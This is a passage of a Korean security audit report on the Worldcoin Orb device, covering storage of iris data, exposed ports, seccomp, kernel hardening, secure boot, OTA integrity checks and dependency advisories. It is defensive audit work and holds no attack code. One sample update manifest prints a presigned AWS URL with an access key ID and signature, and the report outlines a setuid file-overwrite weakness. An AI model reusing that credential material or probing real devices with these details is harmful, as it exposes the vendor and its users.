Orb는 Signup 프로세스 및 기기 동작 중 SSD 및 내부 스토리지에 어떤 형태로도 평문 홍채 데이터 및 이용자 민감정보를 저장하지 않는다(1-4).
또한, 이용자 데이터를 처리하는 Orb 브로커의 에이전트(예: `ir_eye_camera`, `ir_face_camera`, `qr_code`, Etc.)를 모두 확인한 결과, 평문 홍채 데이터를 포함하여 이용자 특정이 가능한 정보 및 민감 데이터를 SSD 및 기타 기기 내부 스토리지에 저장하고 있지 않음을 확인하였다.

1.7. 민감 정보가 기기에 지속적으로 저장되지 않도록 방지하는가?

Orb는 현재 민감 정보를 기기 내부에 저장하고 있지 않으나, 추가적으로 `image_notary` 에이전트를 통해 signup 과정이 끝날 때 마다 생성된 SSD 저장 공간을 명시적으로 삭제함으로써, 기기에서 잠재적인 민감 정보 저장 및 노출 문제 또한 발생하지 않도록 추가적인 처리를 수행하고 있다.

```
// priv-orb-core/src/agents/image_notary.rs#L375~L397
```

```rust
//! Notarizes images and assigns them image IDs.
//!
//! IF AND ONLY IF the `internal-data-acquisition` feature is enabled,
//! it also saves files to disk

...
#[cfg(not(feature = "internal-data-acquisition"))]
#[allow(clippy::unnecessary_wraps)]
fn finalize_signup(&mut self) -> Result<()> {
   // In theory this is not needed. Just an extra defensive measure.
   ssd::perform(|| {
       self.save_dir.exists().then(|| remove_dir_all(&self.save_dir)).unwrap_or(Ok(()))
   });
   Ok(())
}

#[cfg(feature = "internal-data-acquisition")]
fn finalize_signup(&mut self) -> Result<()> {
   ssd_save_png(|| {
       save_sharpest_frames(
           &self.sharpest_frames,
           &self.signup_id,
           &self.save_dir,
           &mut self.log,
       )?;
       Ok(())
   })?;
   Ok(())
}
```

Production 환경에서 SSD 저장 공간을 명시적으로 삭제하는 모습

[System Integrity and Anomalous Behavior]

2.1. 외부에 노출된 물리 포트를 악용한 공격이 발생할 수 있는가?

프로덕션 기기에서 디버그 기능을 호출할 수 없도록 제한하였으며, 하드웨어를 이용한 외부 진입점을 차단하기 위해 UART 콘솔 또한 제한하였다.

```
// orb-firmware/bootloader/release.conf
# Totally remove usage of UART for release target
CONFIG_DEBUG=n
CONFIG_LOG=n
CONFIG_BOOT_BANNER=n
CONFIG_CONSOLE=n
CONFIG_UART_CONSOLE=n
CONFIG_UART_STM32=n
```

디버그 모드 및 UART를 비활성화한 모습

또한, 기기 외면 상에는 배터리 충전을 위한 USB-C 포트만 노출되어 있을 뿐, UART, 5-PIN, HDMI, USB 단자의 경우, 기기를 물리적으로 분해해야만 접근하거나 연결할 수 있다.

또한, 기기에는 변조 감지 핀이 존재하여 기기를 물리적으로 분해할 경우, TFH 백엔드에 정보가 전송되어 TFH 측에서 기기가 물리적으로 분해되었다는 것을 인지할 수 있다.

2.2. Orb operator가 시스템 및 관리 기능을 악용할 수 있는가?

Orb operator의 특수 권한을 사용하여 기기에서 홍채 정보를 추출하는 등의 민감 정보 탈취 위협은 존재하지 않는 것을 확인하였다. 또한, Magic QR을 통해 실행 가능한 일부 기능(`reset_wifi_credentials`, `reset_mirror_calibration`)이 존재하나, 이를 악용하는 시스템 및 비즈니스 로직 위협이 발생하지 않음을 확인하였다.

하지만 이는 주어진 Orb 기기의 소스코드와 설정 파일에 대한 분석 결과이며, World ID를 저장하고 관리하는 백엔드 서버에 대한 operator의 권한 및 기타 기능 분석은 이루어지지 않았음을 명시한다.

2.3. 불필요하게 외부 네트워크에 노출되어있는 네트워크 포트가 존재하는가?

Orb 기기에는 디버그 모드에서 아래와 같은 네트워크 포트들이 외부에 노출되어 있다.

```
root@localhost:/home/worldcoin# netstat -antu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:4675            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:4357            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:2693            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:5001          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:4336            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:4437            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
```

```
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:4538            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:4539            0.0.0.0:*               LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
udp        0      0 0.0.0.0:47222           0.0.0.0:*
udp        0      0 127.0.0.1:8125          0.0.0.0:*
udp        0      0 127.0.0.53:53           0.0.0.0:*
udp        0      0 192.168.13.233:68       0.0.0.0:*
udp        0      0 0.0.0.0:41296           0.0.0.0:*
udp    13824      0 0.0.0.0:34770           0.0.0.0:*
udp        0      0 0.0.0.0:52073           0.0.0.0:*
udp        0      0 0.0.0.0:36960           0.0.0.0:*
```

디버그 모드에서 동작하는 서비스 포트

이 중, 디버그 기능 지원을 위해 열려있는 포트(`ssh`, `orb-control-api`)를 제외하고, 루프백 인터페이스에만 열려 있는 포트를 제외하면 아래와 같은 포트만이 Production Orb에서 동작하고 있다.

```
Proto Recv-Q Send-Q Local Address           Foreign Address         State
udp        0      0 192.168.13.233:68       0.0.0.0:*
udp    13824      0 0.0.0.0:34770           0.0.0.0:*
```

프로덕션에서 동작하며, 외부에 노출된 서비스 포트

이 중 192.168.13.233에 바인딩된 68번 포트는 `systemd-networkd`가 DHCP 연결을 수립하기 위해 사용하는 포트이다. 또한, 0.0.0.0에 바인딩된 34770 포트는 datadog의 `dogstatsd`를 사용하여 기기의 메트릭 데이터를 수신하고 통계를 집계하기 위해 사용되는 포트이며, `orb-mcu-telemetry`가 실행될 때마다 변경된다. 또한, 이로 인한 추가적인 위협이 발생하지 않음을 확인하였다.

2.4. 별도 프로세스로 격리되어야 할 민감 에이전트가 동일 프로세스에서 동작하는가?

Orb 메인 브로커에는 총 16개의 주요한 에이전트가 존재하며, 아래 프로세스 단위로 격리된 4개의 주요 에이전트를 제외한, 나머지 에이전트는 메인 Orb 프로세스 내에서 task 또는 thread 레벨로 분리되어 있다. 특히 기존 security audit에서 발견되었던 문제점인 주요한 공격 표면으로 작용할 수 있는 `qr_code` 에이전트의 memory-safe 하지 않은 라이브러리 사용의 경우, unsafe 키워드를 통한 직접적인 메모리 참조가 이뤄지지 않는 라이브러리를 사용하도록 패치되었으며, 프로세스 단위로 격리되어 현재 관련된 주요 위협이 완화되었음을 확인하였다.

2.5. 에이전트의 문제로 인해 브로커 메인 프로세스가 영향을 받을 수 있는가?

브로커 메인 프로세스는 Orb 동작을 위해 필요한 각 에이전트를 Task, Thread, Process 3가지 방식으로 분리 및 격리하여 실행하고 있다.

이 중, Task와 Thread 형식으로 분리된 에이전트들은 메인 프로세스와 메모리를 공유하여 사용하고 있으므로 메모리 커럽션 등의 문제가 발생할 경우, 브로커의 메인 프로세스로 위협이 전파될 수 있는 문제가 존재한다. 하지만, 공격 표면으로 작용할 수 있는 주요한 에이전트 코드를 확인해본 결과 외부의 입력값(예: QR 코드, 물리적 버튼, 홍채 데이터)으로 인한 실질적인 메모리 조작 문제는 발견되지 않았다.

또한, 에이전트에서 발생한 에러가 전파되어 메인 프로세스에 영향을 미칠 수 있는지를 추가로 확인해보았다. 결과적으로 3가지 방식을 사용하는 에이전트 모두 에러 발생 시 메인 프로세스로 에러를 전파하지 않도록 설정되어 있으며, 에러 발생 시 로그만을 남기고 서비스는 정상 복구되도록 처리되어 에이전트 장애 발생 시에도 메인 프로세스는 정상적으로 동작함을 확인하였다.

2.6. Magic QR-code를 임의로 사용하여 시스템에 문제를 발생시킬 수 있는가?

Orb는 관리자(operator)의 WiFi 및 mirror 초기 설정을 위해 `reset_mirror_calibration`, `reset_wifi_credentials` 2가지의 Magic QR-code 기능을 지원하고 있다.

우선 `reset_mirror_calibration` 기능은 mirror를 설정된 초기값으로 recalibrate하는 기능을 수행하는데, 외부자가 QR 코드를 통해 mirror에 대한 상세 설정을 임의로 조작할 수 없고, 설정 파일에 명시된 default 값으로만 초기화가 가능하므로 이를 악용한 문제가 발생하기 어렵다고 판단하였다.

또한, `reset_wifi_credentials` 기능은 Orb 기기를 새로운 WiFi 네트워크에 연결하는 기능을 수행하고 있다. 간략한 수행 방식을 설명하자면, 사용자로부터 전달된 SSID, Password 그리고 인증 방식에 대한 데이터를 설정 파일에 삽입하고 `wpa_cli` 바이너리를 통해 대상 무선 네트워크에 접속하는 방식으로 구현되어 있다.

해당 기능에 대한 분석을 진행하여, 공격자가 외부에서 전달된 데이터를 이용하고 설정 파일을 임의로 조작함으로써 기기 내부에서 실행되는 `wpa_cli` 및 `wpa-supplicant` 바이너리를 공격하고 임의 코드 실행 혹은 기기 장애를 발생시킬 수 있는지 확인해 보았으나, 입력값 및 설정 값에 대한 명시적인 검증이 적용되어 있어 임의 설정 삽입이 불가능하였으며, 해당 기능을 악용한 문제가 발생하기 어렵다고 판단하였다.

2.7. 악의적으로 생성된 홍채 데이터나 이미지가 기기를 공격하여 시스템 장애 혹은 임의 코드 실행을 발생시킬 수 있는가?

Orb의 Signup 과정에서 사용되는 QR code는 Rust로 작성된 오픈소스 라이브러리 `Rxing` (0.4.12 버전)을 사용하여 디코딩된다. `Rxing`에 구현된 QR 코드 처리 프로세스를 분석한 결과, 비트맵 처리 및 디코딩 과정에서 unsafe 키워드를 이용하여 Raw 포인터 및 메모리에 직접 접근하는 코드가 존재하지 않는 것을 확인하였다. 따라서 QR 코드를 이용해 메모리 커럽션 등의 위협을 직접적으로 발생시키는 것은 어렵다고 판단하였다.

또한, 추가적인 공격 표면으로 작용할 수 있는 기타 카메라 및 센서를 통해 전달 및 처리되는 이미지 및 데이터 또한 에이전트 분리 및 코드 단의 장애 및 에러 처리를 통해 해결하여, 관련된 문제가 발생하지 않는 것을 확인하였다. (2-5)

[Security Mitigations and Configurations]

3.1. 프로세스 비정상 종료 시 적절한 failover 시스템을 구축하고 있는가?

Orb에서 동작하는 중요한 프로세스는 시스템 서비스 관리자인 `systemd`의 서비스에 등록하여 프로세스가 종료되면 자동으로 재시작한다. 다음은 시스템 서비스로 등록하는 서비스 목록과 Configuration File 예시이다.

- orb-ui
- orb-attest
- orb-supervisor
- orb-update-agent
- orb-update-verifier
- orb-core
- orb-backend-connect
- orb-backend-state
- orb-thermal-cam-ctrl
- orb-ensure-mnt-updates-writable
- orb-mcu-telemetry
- orb-file-encryption

```
[Unit]
Description=Short lived attestation token daemon
## persistent contains SE pairing keys
After=usr-persistent.mount
Requires=worldcoin-backend-online.target
After=worldcoin-backend-online.target

[Service]
Type=simple
User=worldcoin
Environment=DBUS_SESSION_BUS_ADDRESS=unix:path=/tmp/worldcoin_bus_socket
Environment=RUST_BACKTRACE=1
SyslogIdentifier=worldcoin-attest
Restart=on-failure
ExecStart=/bin/bash -c 'ORB_ID=$(/usr/local/bin/orb-id) /usr/local/bin/orb-attest'

[Install]
WantedBy=multi-user.target
```

systemd configuration 예시

3.2. 장치 구성 및 설정은 잠재적인 보안 위협(무단 접근, 권한 상승, 알려진 취약점 악용 등)에 대해 적절하게 보호되고 강화되었는가?

1. Bootloader

프로덕션 기기에서 디버그 용 기능을 호출할 수 없도록 제한했을 뿐만 아니라, 하드웨어를 이용한 외부 진입점을 차단하기 위해 UART 콘솔 또한 제한하였다.

```
// orb-firmware/bootloader/release.conf
CONFIG_DEBUG=n
CONFIG_LOG=n
```

```
CONFIG_BOOT_BANNER=n
CONFIG_CONSOLE=n
CONFIG_UART_CONSOLE=n
CONFIG_UART_STM32=n
```

USB 콘솔을 제한한 모습

2. *Secure-element*

홍채 데이터에 대한 서명을 생성하는 `secure-element`는 공격자가 임의로 악의적인 시스템 콜을 사용할 수 없도록 Allow list 기반 SECure COMPuting (SECCOMP)를 적용하였다. 따라서, 공격자는 `secure-element` 프로세스를 장악하더라도 `allowed_syscalls` 외 시스템 콜을 호출할 수 없다. 다음은 SECCOMP를 적용한 코드이다.

```c
// orb-secure-element/orb-secure-element.c
const static int allowed_syscalls[] = {
   SCMP_SYS(bind),       SCMP_SYS(brk),           SCMP_SYS(clock_nanosleep),
   SCMP_SYS(close),      SCMP_SYS(exit),          SCMP_SYS(exit_group),
   SCMP_SYS(faccessat), SCMP_SYS(flock),         SCMP_SYS(fstat),
   SCMP_SYS(fsync),      SCMP_SYS(futex),         SCMP_SYS(getpid),
   SCMP_SYS(getrandom), SCMP_SYS(gettid),        SCMP_SYS(ioctl),
   SCMP_SYS(lseek),      SCMP_SYS(nanosleep),     SC_SYS(openat),
   SCMP_SYS(prctl),      SCMP_SYS(read),          SCMP_SYS(recv),
   SCMP_SYS(recvfrom),  SCMP_SYS(rt_sigaction), SCMP_SYS(send),
   SCMP_SYS(sendto),     SCMP_SYS(setitimer),     SCMP_SYS(setsockopt),
   SCMP_SYS(sigreturn), SCMP_SYS(socket),        SCMP_SYS(unlinkat),
   SCMP_SYS(write),      SCMP_SYS(writev),
};

static int init_seccomp(void)
{
   scmp_filter_ctx ctx;
   int rc;

   ctx = seccomp_init(SCMP_ACT_KILL);
   if (ctx == NULL)
       goto err;

   for (int i = 0; i < ARRAY_SIZE(allowed_syscalls); i++) {
       rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, allowed_syscalls[i], 0);
       if (rc != 0)
           goto err;
   }

   rc = seccomp_load(ctx);
   if (rc < 0)

       goto err;
   return 0;
err:
   LOG_E("Failed to initialize seccomp");
   return -1;
}
```

SECCOMP를 이용해 시스템 콜을 제한한 모습

3. *Linux Kernel*

커널 옵션의 경우, NVIDIA Xavier NX SoC의 `tegra_defconfig`을 기반으로 보안성 강화를 위한 아래 옵션들을 추가적으로 적용하였다.

```
# orb-os/pearl/kernel/patches/kernel_config_fragments/prod/enable_kernel_hardening.cfg
# Avoid kernel memory address exposures via dmesg (sets sysctl kernel.dmesg_restrict
initial value to 1)
CONFIG_SECURITY_DMESG_RESTRICT=y

# Enforce signed modules in prod configuration
CONFIG_MODULE_SIG_FORCE=y

# Dangerous; enabling this allows direct kernel memory writing.
CONFIG_DEVKMEM=n

# Do not allow direct physical memory access (but if you must have it, at least enable
STRICT mode...)
CONFIG_DEVMEM=n
CONFIG_STRICT_DEVMEM=y
CONFIG_IO_STRICT_DEVMEM=y

# Disable in-kernel .config to build a copy of the configuration the kernel was built
with
# into the kernel itself. This absence of this option than further leads to
unavailability
# of kernel config information in /proc
CONFIG_IKCONFIG=n

#HID Devices
#USB HID support
CONFIG_USB_HID=n

#Selected by USB_HID [=y] && USB [=y] && INPUT [=y]
CONFIG_HID=n

#USB Gadget Support
CONFIG_USB_GADGET=n

#USB Mass Storage support
CONFIG_USB_STORAGE=n

#SCSI disk support
CONFIG_BLK_DEV_SD=n
```

커널 하드닝을 위한 일부 옵션

하지만, 유사한 커널 버전을 사용하는 안드로이드 기기의 Configuration과 비교하였을 때 추가적으로 하드닝할 수 있는 옵션들이 확인되어, 권고 사항으로 전달하였다.

- WORLDCOIN-ORB-002

4. *Privilege Management*

Orb 시스템 내에서 루트 권한으로 동작하거나, `setuid`/`setgid` 등을 통해 상승된 권한으로 동작하도록 의도된 서비스들을 확인한 이후, 해당 서비스의 취약성으로 권한 상승 공격이 가능한지 확인해 보았다.

그 결과, `root`로의 `setuid` 플래그가 설정되어 있는 `/usr/local/bin/wpa-supplicant-interface` 바이너리를 악용해 상승된 권한으로 임의 파일을 덮어씌울 수 있는 문제점이 발견되었으나, production 기기에서는 덮어 씌울 내용을 임의로 조작이 불가능하여, 실질적인 권한 상승은 어려운 것을 확인하였다. 상세한 내용과 조치 방안은 WORLDCOIN-ORB-003 보고서에 작성하였다.

- WORLDCOIN-ORB-003

5. Systemd Service Security Analysis

Orb 서비스를 위해, 펌웨어 상에서 사용자 정의 `systemd` 서비스들이 다수 실행되고 있는 점을 고려하여, `systemd-analyze` security 도구를 통한 보안 진단을 수행해 보았다.

해당 결과는 이론적으로 서비스 구성 미흡으로 인한 무단 접근이나 권한 상승, 알려진 취약점 악용 등 다양한 보안 위협을 초래할 수 있음을 시사하나, 현재 Orb 시스템 특성상 이러한 보안 이슈를 방지하기 위한 다수의 하드웨어 및 소프트웨어 보안 하드닝 조치가 철저히 적용되어 있어, 실제로 이러한 잠재적인 이슈가 공격으로 이어질 가능성은 낮은 것으로 판단된다.

그러나, 장기적으로 해당 분석 결과에 대한 리뷰를 통해 보안성을 강화하고 잠재적인 이슈까지 방지할 수 있도록 보안 설정을 강화하고, 시스템 권한 및 네트워크 접근 제어 정책을 지속적으로 정비할 것을 권고한다.

```
root@localhost:/home/worldcoin# systemd-analyze security | grep -i world
worldcoin-attest.service                  9.2 UNSAFE    😨
worldcoin-control-api.service             9.3 UNSAFE    😨  # only runs on dev mode
worldcoin-core.service                    9.3 UNSAFE    😨
worldcoin-dbus.service                    9.2 UNSAFE    😨
worldcoin-mcu-telemetry.service           9.2 UNSAFE    😨
worldcoin-supervisor.service              9.6 UNSAFE    😨
worldcoin-ui.service                      9.2 UNSAFE    😨
```

systemd-analyze security 결과 중 worldcoin 서비스의 결과

3.3. 디버그 포트를 통해 공격자가 임의로 쉘에 접근하거나, 펌웨어를 추출할 수 있는가?

프로덕션 기기에서 디버그 용 기능을 호출할 수 없도록 제한했을 뿐만 아니라, 하드웨어를 이용한 외부 진입점을 차단하기 위해 UART 콘솔 또한 제한하였다. 따라서, 프로덕션 기기에서 디버그 포트를 통해 공격자가 쉘에 접근하거나 펌웨어를 추출하는 등의 공격은 불가능 한 것으로 확인되었다.

```
// orb-firmware/bootloader/release.conf
CONFIG_DEBUG=n
CONFIG_LOG=n
CONFIG_BOOT_BANNER=n
CONFIG_CONSOLE=n
CONFIG_UART_CONSOLE=n
CONFIG_UART_STM32=n
```

디버그 모드 및 UART를 비활성화한 모습

3.4. 부트로더에서 펌웨어 시그니처 검증을 올바르게 하는가?

Orb는 Zephyr RTOS와 함께 사용가능한 Secure boot (bootloader) MCUBoot를 통해 부트로더 단에서 펌웨어 이미지의 무결성과 신뢰성을 보장하기 위해 공개 키 암호화를 활용한 서명 검증을 수행한다. 펌웨어 이미지는 TFH에서 생성한 개인 키로 서명되며, 부트로더는 내장된 공개 키를 사용하여 이 서명을 검증한다.

Orb가 부트로더 서명 검증 기능을 사용하기 위해 아래와 같이 TFH에서 생성한 개인 키와 공개 키를 각각 CONFIG_MCUBOOT_SIGNATURE_KEY_FILE와 CONFIG_MCUBOOT_ENCRYPTION_KEY_FILE에 명시(내장)하는 것을 확인할 수 있다.

```
//priv-orb-firmware/pearl_main.conf

# Path to signature file. Must be absolute or relative to West top dir
CONFIG_MCUBOOT_SIGNATURE_KEY_FILE="orb/private/utils/ota/dev/pearl_main/root-ec-p256.pem"
CONFIG_MCUBOOT_ENCRYPTION_KEY_FILE="orb/private/utils/ota/dev/pearl_main/enc-ec256-pub.pe
m"
```

TFH에서 생성한 개인키와 공개키

```
//priv-orb-firmware/sec_board/prj.conf

# Bootloader
# Enable Zephyr application to be booted by MCUboot
CONFIG_BOOTLOADER_MCUBOOT=y
CONFIG_MCUBOOT_BOOTUTIL_LIB=y
```

MCUBOOT가 활성화된 모습

Reference

- https://docs.mcuboot.com/readme-zephyr.html
- https://docs.mcuboot.com/design.html

3.5. 악의적으로 조작된 펌웨어를 Over-The-Air (OTA) 업데이트 프로세스에 사용할 수 있는가?

에이전트 업데이트의 경우, 다음 URL을 통해 에이전트에 대한 업데이트 정보(해시, 크기, 다운로드 URL 등)를 다운로드한다.

- https://update.{}.orb.worldcoin.org/api/v1/updates/check/v2


```
{
  "manifest": {
    "components": [
      {
        "hash": "2bb7b68a25e68092d6117069fc4b3d3aca4d63952674042b09198dbd704f04e9",
        "name": "app",
        "size": 67108864,
        "version": "idk2",
        "version-assert": "idk2",
```

```
        "installation_phase": "normal"
      },
  "sources": {
    "ai_layer": {
      "hash": "5c434b4518f25a6226938e1da7c60b045b944207f95417445cd6017d08a8417b",
      "name": "ai_layer",
      "mime_type": "application/octet-stream",
      "size": 1252864000,
      "url":
"https://worldcoin-orb-updates-stage.s3.us-east-1.amazonaws.com/6.0.29%2B5d20de6.24100719
04.dev/ai_layer.cmp?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAXN4QRF2FIIKGZAV
6%2F20241127%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241127T091104Z&X-Amz-Expires=43
200&X-Amz-SignedHeaders=host&x-id=GetObject&X-Amz-Signature=745e3a10fee021566f7dc76ca5bcc
a87865fed2a0069ccc31119f336affa305b"
    },
```


다운로드받은 claim 예시

다운로드 한 claim 정보를 바탕으로 업데이트 파일을 다운로드 받고, 에이전트가 손상되거나 비정상적인 에이전트가 다운로드 되는 것을 방지하기 위해 명시된 SHA256 해시와 업데이트 파일의 해시를 비교하는 것을 확인하였다.

```
// orb-software/update-agent/src/component.rs#531~L535
#[expect(clippy::result_large_err)]
pub fn fetch<P: AsRef<Path>>(
   manifest_component: &ManifestComponent,
   system_component: &components::Component,
   source: &Source,
   dst_dir: P,
   supervisor: Option<&dbus::SupervisorProxyBlocking<'static>>,
   download_delay: Duration,
) -> Result<Component, Error> {
   …
   } else {
       if let Err(e) =
           util::check_hash(&path, &source.hash).map_err(|e| Error::HashMismatch {
               name: source.name.clone(),
               source: e,
           …
```

SHA256 해시 검증을 통한 악성 펌웨어 검사 로직

추가적으로 펌웨어 업데이트 과정에서 이미지가 손상되거나, 비정상적인 이미지가 다운로드되는 것을 방지하기 위해 펌웨어 이미지에 대해 CRC32 검사를 수행한다.

```
// check CRC32 of sent firmware image
// orb-software/update-agent/src/update/can.rs#L186~L209
let crc = crc32fast::hash(buffer.as_slice());
let payload = match remote {
   IsoTpNodeIdentifier::MainMcu => McuPayload::ToMain(
       protobuf::main::jetson_to_mcu::Payload::FwImageCheck(
           protobuf::FirmwareImageCheck { crc32: crc },
       ),
   ),
   IsoTpNodeIdentifier::SecurityMcu => {
       McuPayload::ToSec(protobuf::sec::jetson_to_sec::Payload::FwImageCheck(
           protobuf::FirmwareImageCheck { crc32: crc },
       ))
```

```
    }
    _ => bail!("Unknown node"),
};
update_stream.send_payload(payload).map_err({
    DATADOG
        .incr(
            "orb.update.count.component.can",
            ["status:post_check_error"],
        )
        .or_log();
    |e| e
})?;
```

CRC32 검사를 요청하는 모습

CRC32 검사 요청 이후, `McuPayload`가 전달되는 `dfu_secondary_check` 함수에서 새로운 펌웨어가 저장되는 영역인 Secondary Slot에 존재하는 펌웨어 이미지의 CRC32를 계산하고, 전달된 CRC32 값과 일치하는지 비교하여 업데이트할 펌웨어에 대한 무결성 검사를 수행한다.

```
// orb-firmware/lib/dfu/dfu.c#L480~L518
int
dfu_secondary_check(uint32_t crc32)
{
    // buffer needed to read external Flash (diamond) and compute CRC32
    uint8_t buf[DFU_FLASH_PAGE_SIZE];
    uint32_t computed_crc = 0;
    int ret;

    ...
    const struct flash_area *flash_area_p = NULL;
    ret = flash_area_open(DT_FIXED_PARTITION_ID(DT_ALIAS(secondary_slot)),
                          &flash_area_p);
    if (ret) {
        LOG_ERR("Unable to open secondary slot");
        return RET_ERROR_INTERNAL;
    }

    struct image_tlv_info tlv_magic = {0};
    flash_area_read(flash_area_p, (off_t)img_size, &tlv_magic,
                    sizeof(tlv_magic));
    if (tlv_magic.it_magic == IMAGE_TLV_INFO_MAGIC ||
        tlv_magic.it_magic == IMAGE_TLV_PROT_INFO_MAGIC) {
        img_size += tlv_magic.it_tlv_tot;
    }

    // read entire flash area content to calculate CRC32
    for (size_t off = 0; off < img_size; off += DFU_FLASH_PAGE_SIZE) {
        size_t len = (img_size - off < DFU_FLASH_PAGE_SIZE)
                         ? img_size - off
                         : DFU_FLASH_PAGE_SIZE;
        ret = flash_area_read(flash_area_p, (off_t)off, buf, len);
        if (ret) {
            LOG_ERR("Unable to read secondary slot");
            flash_area_close(flash_area_p);
            return RET_ERROR_INTERNAL;
        }
        computed_crc = crc32_ieee_update(computed_crc, buf, len);
    }

    flash_area_close(flash_area_p);
```

```
    LOG_INF(
        "Secondary slot CRC32 (binary size %uB): computed 0x%x, expected 0x%x",
        img_size, computed_crc, crc32);
    if (computed_crc != crc32) {
        return RET_ERROR_INVALID_STATE;
    }

    return RET_SUCCESS;
}
```

펌웨어 이미지에 대한 CRC32 검사를 수행하는 함수

또한 Orb는 NVIDIA Jetson의 Secure Boot 메커니즘과 Linux의 `dm-verity` 기능을 활용하여 OS 부트로더 및 파일 시스템의 무결성을 검증하고 있다.

NVIDIA Secure Boot는 부팅 과정에서 승인되지 않은 코드의 실행을 방지하며, Tegra SoC의 부트 ROM이 공개 키 암호화를 통해 부트 구성 테이블(BCT)과 부트로더를 인증하는 방식으로 수행된다. 또한, dm-verity는 읽기 전용 파일 시스템의 무결성을 실시간으로 검증하는 장치 매퍼 기능으로, 부팅 시 생성된 Merkle 트리의 루트 해시를 기반으로 각 블록의 무결성을 확인한다.

코드 검수 및 기기 쉘 접근을 통해 직접 Tegra SoC 기반의 NVIDA Secure Boot 적용을 확인하였으며, dm-verity를 통해 디스크 무결성 검사가 정상적으로 수행되고 있음을 확인하였다. 이를 통해 Orb의 펌웨어 시그니처 및 무결성 검증이 적절히 이루어지고 있어, 변조된 펌웨어 플래싱 및 부트 파일 시스템 변조가 어려움을 확인하였다.

```
// tegra-fuse

root@localhost:/sys/devices/platform/tegra-fuse# ls
arm_jtag_disable      modalias                 power            reserved_odm5
boot_security_info    odm_info                 public_key       reserved_odm6
debug_authentication  odm_lock                 reserved_odm0    reserved_odm7
driver                odm_production_mode      reserved_odm1    reserved_odm8
driver_override       odmid                    reserved_odm10   reserved_odm9
ecid                  of_node                  reserved_odm11   secure_boot_key
kek0                  opt_customer_optin_fuse  reserved_odm2    subsystem
kek1                  opt_tpc_disable          reserved_odm3    uevent
kek2                  pdi                      reserved_odm4    wakeup
```

Secure boot 상태를 확인하는 tegra-fuse

```
// dm-verity

root@localhost:/sys/module# dmsetup status
CACHE: 0 80 verity V
LFT: 0 734112 verity V
SECURITY: 0 24 verity V
SYSTEM: 0 112280 verity V
PACKAGES: 0 1173640 verity V
BASE: 0 43664 verity V
AI: 0 2427864 verity V
CUDA: 0 6375296 verity V
SOFTWARE: 0 116064 verity V
models: 0 16744448 crypt
```

`scratch: 0 33521664 crypt`
dm-verity를 확인한 모습

Reference

- https://docs.nvidia.com/jetson/archives/r35.1/DeveloperGuide/text/SD/Security/SecureBoot.html
- https://docs.nvidia.com/drive/drive_os_5.1.6.1L/nvvib_docs/index.html#page/DRIVE_OS_Linux_SDK_Development_Guide/Windows%20Systems/security_concepts.html
- https://www.starlab.io/blog/dm-verity-in-embedded-device-security

3.6. 안전하게 서드 파티 라이브러리를 사용 및 관리하고있는가?

Orb는 다양한 Rust Crate 및 오픈소스, 서드 파티 라이브러리를 사용하고 있어, 신뢰할 수 있는 안전한 라이브러리 사용 및 버전 관리가 필요하다. 현재, rust 프로젝트인 `orb-core`, `orb-software`에 대해 라이브러리 1-day 이슈 및 안전성 확인을 위해 Cargo audit 도구를 사용하여 패키지 의존성 보안 점검을 수행하고 분석한 결과 아래와 같이 일부 취약점이 발견된 라이브러리 및 유지보수가 중단된(unmaintained) 것으로 보이는 라이브러리가 일부 식별되었다.

탐지된 이슈들 대해 상세 분석을 수행한 결과, 해당 라이브러리 내의 취약 함수 및 기능이 Orb 서비스 로직에서 직접적으로 호출되거나 실행되지 않음을 확인하였다. 따라서 현재 서비스 환경에서는 실제로 악용 가능한 보안 위험이 존재하지 않는 것으로 판단된다.

그러나, 유지보수가 중단된 라이브러리는 보안 패치 및 기능 개선이 더 이상 이루어지지 않기 때문에, 기존에 알려진 취약점이 수정되지 않은 채 남아 있을 가능성이 높다. 또한, 현재 서비스 코드에서 직접적으로 취약한 기능을 사용하고 있지 않더라도, 추후 개발이 진행되면서 보안 취약점이 있는 기능이 의도치 않게 활용될 위험이 존재한다.

따라서, Unmaintained 라이브러리는 지속적으로 모니터링하고 가능한 경우 보안이 유지되는 최신 버전의 대체 라이브러리로 전환하는 것이 필요하다. 또한, 개발 및 코드 리뷰 과정에서 해당 라이브러리의 사용 여부를 철저히 검토하고, 신규 기능 추가 시 보안성을 고려하여 안전한 방식으로 구현할 수 있도록 관리해야 한다.

Repository	Description	Reference
priv-orb-core	• idna accepts Punycode labels that do not produce any non-ASCII when decoded	RUSTSEC-2024-0421
	• ssl::select_next_proto use after free	RUSTSEC-2025-0004
	• rustls network-reachable panic in Acceptor::accept ○ rust-url lib dependency	RUSTSEC-2024-0399

	• 10 warnings
	  ○ 8 unmaintained
	  ○ 2 checked (not affected)
		-

orb-software	• Hickory DNS failure to verify self-signed RRSIG for DNSKEYs	RUSTSEC-2025-0006
	• rsa timing side channel attack	RUSTSEC-2023-0071

4. 발견 사항

4.1. 발견 사항 요약

점검 결과, 총 3건의 발견 사항을 도출하였다. 이는 Orb 기기의 일반 쉘 권한을 탈취한 공격자가 root 권한으로 임의 파일을 덮어씌울 수 있는 문제점을 포함하며, 추가적으로 기기의 보안성을 향상시킬 수 있는 권고 방안을 담고 있다. 해당 취약점들의 심각도와 영향도를 기반하여 조치 우선 순위를 식별하고, 서비스 안정성을 고려하여 중장기적 대응책을 마련해야 한다.

ID Code	취약점 제목	Severity
WORLDCOIN-ORB-001	홍채 정보 활용 이후 메모리 소거 권고	Informational
WORLDCOIN-ORB-002	커널 빌드 옵션 하드닝 권고	Informational
WORLDCOIN-ORB-003	WiFi configuration 파일의 권한 제한 미흡으로 인한 권한 상승 가능성	Low

취약점 Severity 분류	개수
Critical	0
High	0
Medium	0
Low	1
Informational	2
